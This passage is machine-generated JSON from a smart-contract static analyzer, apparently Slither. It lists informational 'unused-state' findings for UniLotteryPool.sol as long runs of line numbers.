4032, 4033, 4034, 4035, 4036, 4037, 4038, 4039, 4040, 4041, 4042, 4043, 4044, 4045, 4046, 4047, 4048, 4049, 4050, 4051, 4052, 4053, 4054, 4055, 4056, 4057, 4058, 4059, 4060, 4061, 4062, 4063, 4064, 4065, 4066, 4067, 4068, 4069, 4070, 4071, 4072, 4073, 4074, 4075, 4076, 4077, 4078, 4079, 4080, 4081, 4082, 4083, 4084, 4085, 4086, 4087, 4088, 4089, 4090, 4091, 4092, 4093, 4094, 4095, 4096, 4097, 4098, 4099, 4100, 4101, 4102, 4103, 4104, 4105, 4106, 4107, 4108, 4109, 4110, 4111, 4112, 4113, 4114, 4115, 4116, 4117, 4118, 4119, 4120, 4121, 4122, 4123, 4124, 4125, 4126, 4127, 4128, 4129, 4130, 4131, 4132, 4133, 4134, 4135, 4136, 4137, 4138, 4139, 4140, 4141, 4142, 4143, 4144, 4145, 4146, 4147, 4148, 4149, 4150, 4151, 4152, 4153, 4154, 4155, 4156, 4157, 4158, 4159, 4160, 4161, 4162, 4163, 4164, 4165, 4166, 4167, 4168, 4169, 4170, 4171, 4172, 4173, 4174, 4175, 4176, 4177, 4178, 4179, 4180, 4181, 4182, 4183, 4184, 4185, 4186, 4187, 4188, 4189, 4190, 4191, 4192, 4193, 4194, 4195, 4196, 4197, 4198, 4199, 4200, 4201, 4202, 4203, 4204, 4205, 4206, 4207, 4208, 4209, 4210, 4211, 4212, 4213, 4214, 4215, 4216, 4217, 4218, 4219, 4220, 4221, 4222, 4223, 4224, 4225, 4226, 4227, 4228, 4229, 4230, 4231, 4232, 4233, 4234, 4235, 4236, 4237, 4238, 4239, 4240, 4241, 4242, 4243, 4244, 4245, 4246, 4247, 4248, 4249, 4250, 4251, 4252, 4253, 4254, 4255, 4256, 4257, 4258, 4259, 4260, 4261, 4262, 4263, 4264, 4265, 4266, 4267, 4268, 4269, 4270, 4271, 4272, 4273, 4274, 4275, 4276, 4277, 4278, 4279, 4280, 4281, 4282, 4283, 4284, 4285, 4286, 4287, 4288, 4289, 4290, 4291, 4292, 4293, 4294, 4295, 4296, 4297, 4298, 4299, 4300, 4301, 4302, 4303, 4304, 4305, 4306, 4307, 4308, 4309, 4310, 4311, 4312, 4313, 4314, 4315, 4316, 4317, 4318, 4319, 4320, 4321, 4322, 4323, 4324, 4325, 4326, 4327, 4328, 4329, 4330, 4331, 4332, 4333, 4334, 4335, 4336, 4337, 4338, 4339, 4340, 4341, 4342, 4343, 4344, 4345, 4346, 4347, 4348, 4349, 4350, 4351, 4352, 4353, 4354, 4355, 4356, 4357, 4358, 4359, 4360, 4361, 4362, 4363, 4364, 4365, 4366, 4367, 4368, 4369, 4370, 4371, 4372, 4373, 4374, 4375, 4376, 4377, 4378, 4379, 4380, 4381, 4382, 4383, 4384, 4385, 4386, 4387, 4388, 4389, 4390, 4391, 4392, 4393, 4394, 4395, 4396, 4397, 4398, 4399, 4400, 4401, 4402, 4403, 4404, 4405, 4406, 4407, 4408, 4409, 4410, 4411, 4412, 4413, 4414, 4415, 4416, 4417, 4418, 4419, 4420, 4421, 4422, 4423, 4424, 4425, 4426, 4427, 4428, 4429, 4430, 4431, 4432, 4433, 4434, 4435, 4436, 4437, 4438, 4439, 4440, 4441, 4442, 4443, 4444, 4445, 4446, 4447, 4448, 4449, 4450, 4451, 4452, 4453, 4454, 4455, 4456, 4457, 4458, 4459, 4460, 4461, 4462, 4463, 4464, 4465, 4466, 4467, 4468, 4469, 4470, 4471, 4472, 4473, 4474, 4475, 4476, 4477, 4478, 4479, 4480, 4481, 4482, 4483, 4484, 4485, 4486, 4487, 4488, 4489, 4490, 4491, 4492, 4493, 4494, 4495, 4496, 4497, 4498, 4499, 4500, 4501, 4502, 4503, 4504, 4505, 4506, 4507, 4508, 4509, 4510, 4511, 4512, 4513, 4514, 4515, 4516, 4517, 4518, 4519, 4520, 4521, 4522, 4523, 4524, 4525, 4526, 4527, 4528, 4529, 4530, 4531, 4532, 4533, 4534, 4535, 4536, 4537, 4538, 4539, 4540, 4541, 4542, 4543, 4544, 4545, 4546, 4547, 4548, 4549, 4550, 4551, 4552, 4553, 4554, 4555, 4556, 4557, 4558, 4559, 4560, 4561, 4562, 4563, 4564, 4565, 4566, 4567, 4568, 4569, 4570, 4571, 4572, 4573, 4574, 4575, 4576, 4577, 4578, 4579, 4580, 4581, 4582, 4583, 4584, 4585, 4586, 4587, 4588, 4589, 4590, 4591, 4592, 4593, 4594, 4595, 4596, 4597, 4598, 4599, 4600, 4601, 4602, 4603, 4604, 4605, 4606, 4607, 4608, 4609, 4610, 4611, 4612, 4613, 4614, 4615, 4616, 4617, 4618, 4619, 4620, 4621, 4622, 4623, 4624, 4625, 4626, 4627, 4628, 4629, 4630, 4631, 4632, 4633, 4634, 4635, 4636, 4637, 4638, 4639, 4640, 4641, 4642, 4643, 4644, 4645, 4646, 4647, 4648, 4649, 4650, 4651, 4652, 4653, 4654, 4655, 4656, 4657, 4658, 4659, 4660, 4661, 4662, 4663, 4664, 4665, 4666, 4667, 4668, 4669, 4670, 4671, 4672, 4673, 4674, 4675, 4676, 4677, 4678, 4679, 4680, 4681, 4682, 4683, 4684, 4685, 4686, 4687, 4688, 4689, 4690, 4691, 4692, 4693, 4694, 4695, 4696, 4697, 4698, 4699, 4700, 4701, 4702, 4703, 4704, 4705, 4706, 4707, 4708, 4709, 4710, 4711, 4712, 4713, 4714, 4715, 4716, 4717, 4718, 4719, 4720, 4721, 4722, 4723, 4724, 4725, 4726, 4727, 4728, 4729, 4730, 4731, 4732, 4733, 4734, 4735, 4736, 4737, 4738, 4739, 4740, 4741, 4742, 4743, 4744, 4745, 4746, 4747, 4748, 4749, 4750, 4751, 4752, 4753, 4754, 4755, 4756, 4757, 4758, 4759, 4760, 4761, 4762, 4763, 4764, 4765, 4766, 4767, 4768, 4769, 4770, 4771, 4772, 4773, 4774, 4775, 4776, 4777, 4778, 4779, 4780, 4781, 4782, 4783, 4784, 4785, 4786, 4787, 4788, 4789, 4790, 4791, 4792, 4793, 4794, 4795, 4796, 4797, 4798, 4799, 4800, 4801, 4802, 4803, 4804, 4805, 4806, 4807, 4808, 4809, 4810, 4811, 4812, 4813, 4814, 4815, 4816, 4817, 4818, 4819, 4820, 4821, 4822, 4823, 4824, 4825, 4826, 4827, 4828, 4829, 4830, 4831, 4832, 4833, 4834, 4835, 4836, 4837, 4838, 4839, 4840, 4841, 4842, 4843, 4844, 4845, 4846, 4847, 4848]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6307, 6308, 6309, 6310, 6311, 6312, 6313, 6314, 6315, 6316, 6317, 6318, 6319, 6320, 6321, 6322, 6323, 6324, 6325, 6326, 6327, 6328, 6329, 6330, 6331, 6332, 6333, 6334, 6335, 6336, 6337, 6338, 6339, 6340, 6341, 6342, 6343, 6344, 6345, 6346, 6347, 6348, 6349, 6350, 6351, 6352, 6353, 6354, 6355, 6356, 6357, 6358, 6359, 6360, 6361, 6362, 6363, 6364, 6365, 6366, 6367, 6368, 6369, 6370, 6371, 6372, 6373, 6374, 6375, 6376, 6377, 6378, 6379, 6380, 6381, 6382, 6383, 6384, 6385, 6386, 6387, 6388, 6389, 6390, 6391, 6392, 6393, 6394, 6395, 6396, 6397, 6398, 6399, 6400, 6401, 6402, 6403, 6404, 6405, 6406, 6407, 6408, 6409, 6410, 6411, 6412, 6413, 6414, 6415, 6416, 6417, 6418, 6419, 6420, 6421, 6422, 6423, 6424, 6425, 6426, 6427, 6428, 6429, 6430, 6431, 6432, 6433, 6434, 6435, 6436, 6437, 6438, 6439, 6440, 6441, 6442, 6443, 6444, 6445, 6446, 6447, 6448, 6449, 6450, 6451, 6452, 6453, 6454, 6455, 6456, 6457, 6458, 6459, 6460, 6461, 6462, 6463, 6464, 6465, 6466, 6467, 6468, 6469, 6470, 6471, 6472, 6473, 6474, 6475, 6476, 6477, 6478, 6479, 6480, 6481, 6482, 6483, 6484, 6485, 6486, 6487, 6488, 6489, 6490, 6491, 6492, 6493, 6494, 6495, 6496, 6497, 6498, 6499, 6500, 6501, 6502, 6503, 6504, 6505, 6506, 6507, 6508, 6509, 6510, 6511, 6512, 6513, 6514, 6515, 6516, 6517, 6518, 6519, 6520, 6521, 6522, 6523, 6524, 6525, 6526, 6527, 6528, 6529, 6530, 6531, 6532, 6533, 6534, 6535, 6536, 6537, 6538, 6539, 6540, 6541, 6542, 6543, 6544, 6545, 6546, 6547, 6548, 6549, 6550, 6551, 6552, 6553, 6554, 6555, 6556, 6557, 6558, 6559, 6560, 6561, 6562, 6563, 6564, 6565, 6566, 6567, 6568, 6569, 6570, 6571, 6572, 6573, 6574, 6575, 6576, 6577, 6578, 6579, 6580, 6581, 6582, 6583, 6584, 6585, 6586, 6587, 6588, 6589, 6590, 6591, 6592, 6593, 6594, 6595, 6596, 6597, 6598, 6599, 6600, 6601, 6602, 6603, 6604, 6605, 6606, 6607, 6608, 6609, 6610, 6611, 6612, 6613, 6614, 6615, 6616, 6617, 6618, 6619, 6620, 6621, 6622, 6623, 6624, 6625, 6626, 6627, 6628, 6629, 6630, 6631, 6632, 6633, 6634, 6635, 6636, 6637, 6638, 6639, 6640, 6641, 6642, 6643, 6644, 6645, 6646, 6647, 6648, 6649, 6650, 6651, 6652, 6653, 6654, 6655, 6656, 6657, 6658, 6659, 6660, 6661, 6662, 6663, 6664, 6665, 6666, 6667, 6668, 6669, 6670, 6671, 6672, 6673, 6674, 6675, 6676, 6677, 6678, 6679, 6680, 6681, 6682, 6683, 6684, 6685, 6686, 6687, 6688, 6689, 6690, 6691, 6692, 6693, 6694, 6695, 6696, 6697, 6698, 6699, 6700, 6701, 6702, 6703, 6704, 6705, 6706, 6707, 6708, 6709, 6710, 6711, 6712, 6713, 6714, 6715, 6716, 6717, 6718, 6719, 6720, 6721, 6722, 6723, 6724, 6725, 6726, 6727, 6728, 6729, 6730, 6731, 6732, 6733, 6734, 6735, 6736, 6737, 6738, 6739, 6740, 6741, 6742, 6743, 6744, 6745, 6746, 6747, 6748, 6749, 6750, 6751, 6752, 6753, 6754, 6755, 6756]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6940, 6941, 6942, 6943, 6944, 6945, 6946, 6947, 6948, 6949, 6950, 6951, 6952, 6953, 6954, 6955, 6956, 6957, 6958, 6959, 6960, 6961, 6962, 6963, 6964, 6965, 6966, 6967, 6968, 6969, 6970, 6971, 6972, 6973, 6974, 6975, 6976, 6977, 6978, 6979, 6980, 6981, 6982, 6983, 6984, 6985, 6986, 6987, 6988, 6989, 6990, 6991, 6992, 6993, 6994, 6995, 6996, 6997, 6998, 6999, 7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7011, 7012, 7013, 7014, 7015, 7016, 7017, 7018, 7019, 7020, 7021, 7022, 7023, 7024, 7025, 7026, 7027, 7028, 7029, 7030, 7031, 7032, 7033, 7034, 7035, 7036, 7037, 7038, 7039, 7040, 7041, 7042, 7043, 7044, 7045, 7046, 7047, 7048]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3028, 3029, 3030, 3031, 3032, 3033, 3034, 3035, 3036, 3037, 3038, 3039, 3040, 3041, 3042, 3043, 3044, 3045, 3046, 3047, 3048, 3049, 3050, 3051, 3052, 3053, 3054, 3055, 3056, 3057, 3058, 3059, 3060, 3061, 3062, 3063, 3064, 3065, 3066, 3067, 3068, 3069, 3070, 3071, 3072, 3073, 3074, 3075, 3076, 3077, 3078, 3079, 3080, 3081, 3082, 3083, 3084, 3085, 3086, 3087, 3088, 3089, 3090, 3091, 3092, 3093, 3094, 3095, 3096, 3097, 3098, 3099, 3100, 3101, 3102, 3103, 3104, 3105, 3106, 3107, 3108, 3109, 3110, 3111, 3112, 3113, 3114, 3115, 3116, 3117, 3118, 3119, 3120, 3121, 3122, 3123, 3124, 3125, 3126, 3127, 3128, 3129, 3130, 3131, 3132, 3133, 3134, 3135, 3136, 3137, 3138, 3139, 3140, 3141, 3142, 3143, 3144, 3145, 3146, 3147, 3148, 3149, 3150, 3151, 3152, 3153, 3154, 3155, 3156, 3157, 3158, 3159, 3160, 3161, 3162, 3163, 3164, 3165, 3166, 3167, 3168, 3169, 3170, 3171, 3172, 3173, 3174, 3175, 3176, 3177, 3178, 3179, 3180, 3181, 3182, 3183, 3184, 3185, 3186, 3187, 3188, 3189, 3190, 3191, 3192, 3193, 3194, 3195, 3196, 3197, 3198, 3199, 3200, 3201, 3202, 3203, 3204, 3205, 3206, 3207, 3208, 3209, 3210, 3211, 3212, 3213, 3214, 3215, 3216, 3217, 3218, 3219, 3220, 3221, 3222, 3223, 3224, 3225, 3226, 3227, 3228, 3229, 3230, 3231, 3232, 3233, 3234, 3235, 3236, 3237, 3238, 3239, 3240, 3241, 3242, 3243, 3244, 3245, 3246, 3247, 3248, 3249, 3250, 3251, 3252, 3253, 3254, 3255, 3256, 3257, 3258, 3259, 3260, 3261, 3262, 3263, 3264, 3265, 3266, 3267, 3268, 3269, 3270, 3271, 3272, 3273, 3274, 3275, 3276, 3277, 3278, 3279, 3280, 3281, 3282, 3283, 3284, 3285, 3286, 3287, 3288, 3289, 3290, 3291, 3292, 3293, 3294, 3295, 3296, 3297, 3298, 3299, 3300, 3301, 3302, 3303, 3304, 3305, 3306, 3307, 3308, 3309, 3310, 3311, 3312, 3313, 3314, 3315, 3316, 3317, 3318, 3319, 3320, 3321, 3322, 3323, 3324, 3325, 3326, 3327, 3328, 3329, 3330, 3331, 3332, 3333, 3334, 3335, 3336, 3337, 3338, 3339, 3340, 3341, 3342, 3343, 3344, 3345, 3346, 3347, 3348, 3349, 3350, 3351, 3352, 3353, 3354, 3355, 3356, 3357, 3358, 3359, 3360, 3361, 3362, 3363, 3364, 3365, 3366, 3367, 3368, 3369, 3370, 3371, 3372, 3373, 3374, 3375, 3376, 3377, 3378, 3379, 3380, 3381, 3382, 3383, 3384, 3385, 3386, 3387, 3388, 3389, 3390, 3391, 3392, 3393, 3394, 3395, 3396, 3397, 3398, 3399, 3400, 3401, 3402, 3403, 3404, 3405, 3406, 3407, 3408, 3409, 3410, 3411, 3412, 3413, 3414, 3415, 3416, 3417, 3418, 3419, 3420, 3421, 3422, 3423, 3424, 3425, 3426, 3427, 3428, 3429, 3430, 3431, 3432, 3433, 3434, 3435, 3436, 3437, 3438, 3439, 3440, 3441, 3442, 3443, 3444, 3445, 3446, 3447, 3448, 3449, 3450, 3451, 3452, 3453, 3454, 3455, 3456, 3457, 3458, 3459, 3460, 3461, 3462, 3463, 3464, 3465, 3466, 3467, 3468, 3469, 3470, 3471, 3472, 3473, 3474, 3475, 3476, 3477, 3478, 3479, 3480, 3481, 3482, 3483, 3484, 3485, 3486, 3487, 3488, 3489, 3490, 3491, 3492, 3493, 3494, 3495, 3496, 3497, 3498, 3499, 3500, 3501, 3502, 3503, 3504, 3505, 3506, 3507, 3508, 3509, 3510, 3511, 3512, 3513, 3514, 3515, 3516, 3517, 3518, 3519, 3520, 3521, 3522, 3523, 3524, 3525, 3526, 3527, 3528, 3529, 3530, 3531, 3532, 3533, 3534, 3535, 3536, 3537, 3538, 3539, 3540, 3541, 3542, 3543, 3544, 3545, 3546, 3547, 3548, 3549, 3550, 3551, 3552, 3553, 3554, 3555, 3556, 3557, 3558, 3559, 3560, 3561, 3562, 3563, 3564, 3565, 3566, 3567, 3568, 3569, 3570, 3571, 3572, 3573, 3574, 3575, 3576, 3577, 3578, 3579, 3580, 3581, 3582, 3583, 3584, 3585, 3586, 3587, 3588, 3589, 3590, 3591, 3592, 3593, 3594, 3595, 3596, 3597, 3598, 3599, 3600, 3601, 3602, 3603, 3604, 3605, 3606, 3607, 3608, 3609, 3610, 3611, 3612, 3613, 3614, 3615, 3616, 3617, 3618, 3619, 3620, 3621, 3622, 3623, 3624, 3625, 3626, 3627, 3628, 3629, 3630, 3631, 3632, 3633, 3634, 3635, 3636, 3637, 3638, 3639, 3640, 3641, 3642, 3643, 3644, 3645, 3646, 3647, 3648, 3649, 3650, 3651, 3652, 3653, 3654, 3655, 3656, 3657, 3658, 3659, 3660, 3661, 3662, 3663, 3664, 3665, 3666, 3667, 3668, 3669, 3670, 3671, 3672, 3673, 3674, 3675, 3676, 3677, 3678, 3679, 3680, 3681, 3682, 3683, 3684, 3685, 3686, 3687, 3688, 3689, 3690, 3691, 3692, 3693, 3694, 3695, 3696, 3697, 3698, 3699, 3700, 3701, 3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710, 3711, 3712, 3713, 3714, 3715, 3716, 3717, 3718, 3719, 3720, 3721, 3722, 3723, 3724, 3725, 3726, 3727, 3728, 3729, 3730, 3731, 3732, 3733, 3734, 3735, 3736, 3737, 3738, 3739, 3740, 3741, 3742, 3743, 3744, 3745, 3746, 3747, 3748, 3749, 3750, 3751, 3752, 3753, 3754, 3755, 3756, 3757, 3758, 3759, 3760, 3761, 3762, 3763, 3764, 3765, 3766, 3767, 3768, 3769, 3770, 3771, 3772, 3773, 3774, 3775, 3776, 3777, 3778, 3779, 3780, 3781, 3782, 3783, 3784, 3785, 3786, 3787, 3788, 3789, 3790, 3791, 3792, 3793, 3794, 3795, 3796, 3797, 3798, 3799, 3800, 3801, 3802, 3803, 3804, 3805, 3806, 3807, 3808, 3809, 3810, 3811, 3812, 3813, 3814, 3815, 3816, 3817, 3818, 3819, 3820, 3821, 3822, 3823, 3824, 3825, 3826, 3827, 3828, 3829, 3830, 3831, 3832, 3833, 3834, 3835, 3836, 3837, 3838, 3839, 3840, 3841, 3842, 3843, 3844, 3845, 3846, 3847, 3848, 3849, 3850, 3851, 3852, 3853, 3854, 3855, 3856, 3857, 3858, 3859, 3860, 3861, 3862, 3863, 3864, 3865, 3866, 3867, 3868, 3869, 3870, 3871, 3872, 3873, 3874, 3875, 3876, 3877, 3878, 3879, 3880, 3881, 3882, 3883, 3884, 3885, 3886, 3887, 3888, 3889, 3890, 3891, 3892, 3893, 3894, 3895, 3896, 3897, 3898, 3899, 3900, 3901, 3902, 3903, 3904, 3905, 3906, 3907, 3908, 3909, 3910, 3911, 3912, 3913, 3914, 3915, 3916, 3917, 3918, 3919, 3920, 3921, 3922, 3923, 3924, 3925, 3926, 3927, 3928, 3929, 3930, 3931, 3932, 3933, 3934, 3935, 3936, 3937, 3938, 3939, 3940, 3941, 3942, 3943, 3944, 3945, 3946, 3947, 3948, 3949, 3950, 3951, 3952, 3953, 3954, 3955, 3956, 3957, 3958, 3959, 3960, 3961, 3962, 3963, 3964, 3965, 3966, 3967, 3968, 3969, 3970, 3971, 3972, 3973, 3974, 3975, 3976, 3977, 3978, 3979, 3980, 3981, 3982, 3983, 3984, 3985, 3986, 3987, 3988, 3989, 3990, 3991, 3992, 3993, 3994, 3995, 3996, 3997, 3998, 3999, 4000, 4001, 4002, 4003, 4004, 4005, 4006, 4007, 4008, 4009, 4010, 4011, 4012, 4013, 4014, 4015, 4016, 4017, 4018, 4019, 4020, 4021, 4022, 4023, 4024, 4025, 4026, 4027, 4028, 4029, 4030, 4031, 4032, 4033, 4034, 4035, 4036, 4037, 4038, 4039, 4040, 4041, 4042, 4043, 4044, 4045, 4046, 4047, 4048, 4049, 4050, 4051, 4052, 4053, 4054, 4055, 4056, 4057, 4058, 4059, 4060, 4061, 4062, 4063, 4064, 4065, 4066, 4067, 4068, 4069, 4070, 4071, 4072, 4073, 4074, 4075, 4076, 4077, 4078, 4079, 4080, 4081, 4082, 4083, 4084, 4085, 4086, 4087, 4088, 4089, 4090, 4091, 4092, 4093, 4094, 4095, 4096, 4097, 4098, 4099, 4100, 4101, 4102, 4103, 4104, 4105, 4106, 4107, 4108, 4109, 4110, 4111, 4112, 4113, 4114, 4115, 4116, 4117, 4118, 4119, 4120, 4121, 4122, 4123, 4124, 4125, 4126, 4127, 4128, 4129, 4130, 4131, 4132, 4133, 4134, 4135, 4136, 4137, 4138, 4139, 4140, 4141, 4142, 4143, 4144, 4145, 4146, 4147, 4148, 4149, 4150, 4151, 4152, 4153, 4154, 4155, 4156, 4157, 4158, 4159, 4160, 4161, 4162, 4163, 4164, 4165, 4166, 4167, 4168, 4169, 4170, 4171, 4172, 4173, 4174, 4175, 4176, 4177, 4178, 4179, 4180, 4181, 4182, 4183, 4184, 4185, 4186, 4187, 4188, 4189, 4190, 4191, 4192, 4193, 4194, 4195, 4196, 4197, 4198, 4199, 4200, 4201, 4202, 4203, 4204, 4205, 4206, 4207, 4208, 4209, 4210, 4211, 4212, 4213, 4214, 4215, 4216, 4217, 4218, 4219, 4220, 4221, 4222, 4223, 4224, 4225, 4226, 4227, 4228, 4229, 4230, 4231, 4232, 4233, 4234, 4235, 4236, 4237, 4238, 4239, 4240, 4241, 4242, 4243, 4244, 4245, 4246, 4247, 4248, 4249, 4250, 4251, 4252, 4253, 4254, 4255, 4256, 4257, 4258, 4259, 4260, 4261, 4262, 4263, 4264, 4265, 4266, 4267, 4268, 4269, 4270, 4271, 4272, 4273, 4274, 4275, 4276, 4277, 4278, 4279, 4280, 4281, 4282, 4283, 4284, 4285, 4286, 4287, 4288, 4289, 4290, 4291, 4292, 4293, 4294, 4295, 4296, 4297, 4298, 4299, 4300, 4301, 4302, 4303, 4304, 4305, 4306, 4307, 4308, 4309, 4310, 4311, 4312, 4313, 4314, 4315, 4316, 4317, 4318, 4319, 4320, 4321, 4322, 4323, 4324, 4325, 4326, 4327, 4328, 4329, 4330, 4331, 4332, 4333, 4334, 4335, 4336, 4337, 4338, 4339, 4340, 4341, 4342, 4343, 4344, 4345, 4346, 4347, 4348, 4349, 4350, 4351, 4352, 4353, 4354, 4355, 4356, 4357, 4358, 4359, 4360, 4361, 4362, 4363, 4364, 4365, 4366, 4367, 4368, 4369, 4370, 4371, 4372, 4373, 4374, 4375, 4376, 4377, 4378, 4379, 4380, 4381, 4382, 4383, 4384, 4385, 4386, 4387, 4388, 4389, 4390, 4391, 4392, 4393, 4394, 4395, 4396, 4397, 4398, 4399, 4400, 4401, 4402, 4403, 4404, 4405, 4406, 4407, 4408, 4409, 4410, 4411, 4412, 4413, 4414, 4415, 4416, 4417, 4418, 4419, 4420, 4421, 4422, 4423, 4424, 4425, 4426, 4427, 4428, 4429, 4430, 4431, 4432, 4433, 4434, 4435, 4436, 4437, 4438, 4439, 4440, 4441, 4442, 4443, 4444, 4445, 4446, 4447, 4448, 4449, 4450, 4451, 4452, 4453, 4454, 4455, 4456, 4457, 4458, 4459, 4460, 4461, 4462, 4463, 4464, 4465, 4466, 4467, 4468, 4469, 4470, 4471, 4472, 4473, 4474, 4475, 4476, 4477, 4478, 4479, 4480, 4481, 4482, 4483, 4484, 4485, 4486, 4487, 4488, 4489, 4490, 4491, 4492, 4493, 4494, 4495, 4496, 4497, 4498, 4499, 4500, 4501, 4502, 4503, 4504, 4505, 4506, 4507, 4508, 4509, 4510, 4511, 4512, 4513, 4514, 4515, 4516, 4517, 4518, 4519, 4520, 4521, 4522, 4523, 4524, 4525, 4526, 4527, 4528, 4529, 4530, 4531, 4532, 4533, 4534, 4535, 4536, 4537, 4538, 4539, 4540, 4541, 4542, 4543, 4544, 4545, 4546, 4547, 4548, 4549, 4550, 4551, 4552, 4553, 4554, 4555, 4556, 4557, 4558, 4559, 4560, 4561, 4562, 4563, 4564, 4565, 4566, 4567, 4568, 4569, 4570, 4571, 4572, 4573, 4574, 4575, 4576, 4577, 4578, 4579, 4580, 4581, 4582, 4583, 4584, 4585, 4586, 4587, 4588, 4589, 4590, 4591, 4592, 4593, 4594, 4595, 4596, 4597, 4598, 4599, 4600, 4601, 4602, 4603, 4604, 4605, 4606, 4607, 4608, 4609, 4610, 4611, 4612, 4613, 4614, 4615, 4616, 4617, 4618, 4619, 4620, 4621, 4622, 4623, 4624, 4625, 4626, 4627, 4628, 4629, 4630, 4631, 4632, 4633, 4634, 4635, 4636, 4637, 4638, 4639, 4640, 4641, 4642, 4643, 4644, 4645, 4646, 4647, 4648, 4649, 4650, 4651, 4652, 4653, 4654, 4655, 4656, 4657, 4658, 4659, 4660, 4661, 4662, 4663, 4664, 4665, 4666, 4667, 4668, 4669, 4670, 4671, 4672, 4673, 4674, 4675, 4676, 4677, 4678, 4679, 4680, 4681, 4682, 4683, 4684, 4685, 4686, 4687, 4688, 4689, 4690, 4691, 4692, 4693, 4694, 4695, 4696, 4697, 4698, 4699, 4700, 4701, 4702, 4703, 4704, 4705, 4706, 4707, 4708, 4709, 4710, 4711, 4712, 4713, 4714, 4715, 4716, 4717, 4718, 4719, 4720, 4721, 4722, 4723, 4724, 4725, 4726, 4727, 4728, 4729, 4730, 4731, 4732, 4733, 4734, 4735, 4736, 4737, 4738, 4739, 4740, 4741, 4742, 4743, 4744, 4745, 4746, 4747, 4748, 4749, 4750, 4751, 4752, 4753, 4754, 4755, 4756, 4757, 4758, 4759, 4760, 4761, 4762, 4763, 4764, 4765, 4766, 4767, 4768, 4769, 4770, 4771, 4772, 4773, 4774, 4775, 4776, 4777, 4778, 4779, 4780, 4781, 4782, 4783, 4784, 4785, 4786, 4787, 4788, 4789, 4790, 4791, 4792, 4793, 4794, 4795, 4796, 4797, 4798, 4799, 4800, 4801, 4802, 4803, 4804, 4805, 4806, 4807, 4808, 4809, 4810, 4811, 4812, 4813, 4814, 4815, 4816, 4817, 4818, 4819, 4820, 4821, 4822, 4823, 4824, 4825, 4826, 4827, 4828, 4829, 4830, 4831, 4832, 4833, 4834, 4835, 4836, 4837, 4838, 4839, 4840, 4841, 4842, 4843, 4844, 4845, 4846, 4847, 4848]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3028, 3029, 3030, 3031, 3032, 3033, 3034, 3035, 3036, 3037, 3038, 3039, 3040, 3041, 3042, 3043, 3044, 3045, 3046, 3047, 3048, 3049, 3050, 3051, 3052, 3053, 3054, 3055, 3056, 3057, 3058, 3059, 3060, 3061, 3062, 3063, 3064, 3065, 3066, 3067, 3068, 3069, 3070, 3071, 3072, 3073, 3074, 3075, 3076, 3077, 3078, 3079, 3080, 3081, 3082, 3083, 3084, 3085, 3086, 3087, 3088, 3089, 3090, 3091, 3092, 3093, 3094, 3095, 3096, 3097, 3098, 3099, 3100, 3101, 3102, 3103, 3104, 3105, 3106, 3107, 3108, 3109, 3110, 3111, 3112, 3113, 3114, 3115, 3116, 3117, 3118, 3119, 3120, 3121, 3122, 3123, 3124, 3125, 3126, 3127, 3128, 3129, 3130, 3131, 3132, 3133, 3134, 3135, 3136, 3137, 3138, 3139, 3140, 3141, 3142, 3143, 3144, 3145, 3146, 3147, 3148, 3149, 3150, 3151, 3152, 3153, 3154, 3155, 3156, 3157, 3158, 3159, 3160, 3161, 3162, 3163, 3164, 3165, 3166, 3167, 3168, 3169, 3170, 3171, 3172, 3173, 3174, 3175, 3176, 3177, 3178, 3179, 3180, 3181, 3182, 3183, 3184, 3185, 3186, 3187, 3188, 3189, 3190, 3191, 3192, 3193, 3194, 3195, 3196, 3197, 3198, 3199, 3200, 3201, 3202, 3203, 3204, 3205, 3206, 3207, 3208, 3209, 3210, 3211, 3212, 3213, 3214, 3215, 3216, 3217, 3218, 3219, 3220, 3221, 3222, 3223, 3224, 3225, 3226, 3227, 3228, 3229, 3230, 3231, 3232, 3233, 3234, 3235, 3236, 3237, 3238, 3239, 3240, 3241, 3242, 3243, 3244, 3245, 3246, 3247, 3248, 3249, 3250, 3251, 3252, 3253, 3254, 3255, 3256, 3257, 3258, 3259, 3260, 3261, 3262, 3263, 3264, 3265, 3266, 3267, 3268, 3269, 3270, 3271, 3272, 3273, 3274, 3275, 3276, 3277, 3278, 3279, 3280, 3281, 3282, 3283, 3284, 3285, 3286, 3287, 3288, 3289, 3290, 3291, 3292, 3293, 3294, 3295, 3296, 3297, 3298, 3299, 3300, 3301, 3302, 3303, 3304, 3305, 3306, 3307, 3308, 3309, 3310, 3311, 3312, 3313, 3314, 3315, 3316, 3317, 3318, 3319, 3320, 3321, 3322, 3323, 3324, 3325, 3326, 3327, 3328, 3329, 3330, 3331, 3332, 3333, 3334, 3335, 3336, 3337, 3338, 3339, 3340, 3341, 3342, 3343, 3344, 3345, 3346, 3347, 3348, 3349, 3350, 3351, 3352, 3353, 3354, 3355, 3356, 3357, 3358, 3359, 3360, 3361, 3362, 3363, 3364, 3365, 3366, 3367, 3368, 3369, 3370, 3371, 3372, 3373, 3374, 3375, 3376, 3377, 3378, 3379, 3380, 3381, 3382, 3383, 3384, 3385, 3386, 3387, 3388, 3389, 3390, 3391, 3392, 3393, 3394, 3395, 3396, 3397, 3398, 3399, 3400, 3401, 3402, 3403, 3404, 3405, 3406, 3407, 3408, 3409, 3410, 3411, 3412, 3413, 3414, 3415, 3416, 3417, 3418, 3419, 3420, 3421, 3422, 3423, 3424, 3425, 3426, 3427, 3428, 3429, 3430, 3431, 3432, 3433, 3434, 3435, 3436, 3437, 3438, 3439, 3440, 3441, 3442, 3443, 3444, 3445, 3446, 3447, 3448, 3449, 3450, 3451, 3452, 3453, 3454, 3455, 3456, 3457, 3458, 3459, 3460, 3461, 3462, 3463, 3464, 3465, 3466, 3467, 3468, 3469, 3470, 3471, 3472, 3473, 3474, 3475, 3476, 3477, 3478, 3479, 3480, 3481, 3482, 3483, 3484, 3485, 3486, 3487, 3488, 3489, 3490, 3491, 3492, 3493, 3494, 3495, 3496, 3497, 3498, 3499, 3500, 3501, 3502, 3503, 3504, 3505, 3506, 3507, 3508, 3509, 3510, 3511, 3512, 3513, 3514, 3515, 3516, 3517, 3518, 3519, 3520, 3521, 3522, 3523, 3524, 3525, 3526, 3527, 3528, 3529, 3530, 3531, 3532, 